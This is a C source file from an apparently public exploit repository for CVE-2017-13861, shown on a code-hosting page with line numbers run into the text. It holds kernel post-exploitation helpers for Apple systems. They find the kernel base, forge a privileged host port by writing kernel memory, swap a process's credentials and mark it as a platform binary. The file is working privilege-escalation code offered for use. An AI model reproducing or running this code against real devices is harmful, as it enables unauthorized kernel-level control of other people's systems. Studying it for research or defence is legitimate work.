Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2017-13861/kutils.c
Views: 11780
#include <CoreFoundation/CoreFoundation.h>1#include <stdio.h>2#include <stdlib.h>34#include <mach/mach.h>5#include <mach-o/loader.h>67/*#include <common.h>*/8/*#include <iokit.h>*/910#include <CoreFoundation/CoreFoundation.h>11extern void NSLog(CFStringRef, ...);12#define LOG(str, args...) do { NSLog(CFSTR("[*] " str "\n"), ##args); } while(false)1314#include "kmem.h"15#include "koffsets.h"16#include "kutils.h"17#include "find_port.h"1819#define TF_PLATFORM 0x00000400 /* task is a platform binary */2021uint64_t the_realhost;2223uint64_t cached_task_self_addr = 0;24uint64_t task_self_addr()25{26if (cached_task_self_addr == 0) {27cached_task_self_addr = find_port_address(mach_task_self(), MACH_MSG_TYPE_COPY_SEND);28LOG("task self: 0x%llx", cached_task_self_addr);29}30return cached_task_self_addr;31}3233uint64_t ipc_space_kernel()34{35return ReadKernel64(task_self_addr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER));36}3738uint64_t current_thread()39{40uint64_t thread_port = find_port_address(mach_thread_self(), MACH_MSG_TYPE_COPY_SEND);41return ReadKernel64(thread_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));42}4344uint64_t find_kernel_base()45{46uint64_t hostport_addr = find_port_address(mach_host_self(), MACH_MSG_TYPE_COPY_SEND);47uint64_t realhost = ReadKernel64(hostport_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));48the_realhost = realhost;4950uint64_t base = realhost & ~0xfffULL;51// walk down to find the magic:52for (int i = 0; i < 0x10000; i++) {53if (ReadKernel32(base) == MACH_HEADER_MAGIC) {54return base;55}56base -= 0x1000;57}58return 0;59}6061mach_port_t fake_host_priv_port = MACH_PORT_NULL;6263// build a fake host priv port64mach_port_t fake_host_priv()65{66if (fake_host_priv_port != MACH_PORT_NULL) {67return fake_host_priv_port;68}69// get the address of realhost:70uint64_t hostport_addr = find_port_address(mach_host_self(), MACH_MSG_TYPE_COPY_SEND);71uint64_t realhost = ReadKernel64(hostport_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));7273// allocate a port74mach_port_t port = MACH_PORT_NULL;75kern_return_t err;76err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);77if (err != KERN_SUCCESS) {78LOG("failed to allocate port");79return MACH_PORT_NULL;80}8182// get a send right83mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);8485// locate the port86uint64_t port_addr = find_port_address(port, MACH_MSG_TYPE_COPY_SEND);8788// change the type of the port89#define IKOT_HOST_PRIV 490#define IO_ACTIVE 0x8000000091WriteKernel32(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_ACTIVE | IKOT_HOST_PRIV);9293// change the space of the port94WriteKernel64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), ipc_space_kernel());9596// set the kobject97WriteKernel64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), realhost);9899fake_host_priv_port = port;100101return port;102}103104int message_size_for_kalloc_size(int kalloc_size)105{106return ((3 * kalloc_size) / 4) - 0x74;107}108109uint64_t give_creds_to_process_at_addr(uint64_t proc, uint64_t cred_addr)110{111uint64_t orig_creds = ReadKernel64(proc + koffset(KSTRUCT_OFFSET_PROC_UCRED));112WriteKernel64(proc + koffset(KSTRUCT_OFFSET_PROC_UCRED), cred_addr);113return orig_creds;114}115116void set_platform_binary(uint64_t proc)117{118uint64_t task_struct_addr = ReadKernel64(proc + koffset(KSTRUCT_OFFSET_PROC_TASK));119uint32_t task_t_flags = ReadKernel32(task_struct_addr + koffset(KSTRUCT_OFFSET_TASK_TFLAGS));120task_t_flags |= TF_PLATFORM;121WriteKernel32(task_struct_addr + koffset(KSTRUCT_OFFSET_TASK_TFLAGS), task_t_flags);122}123124125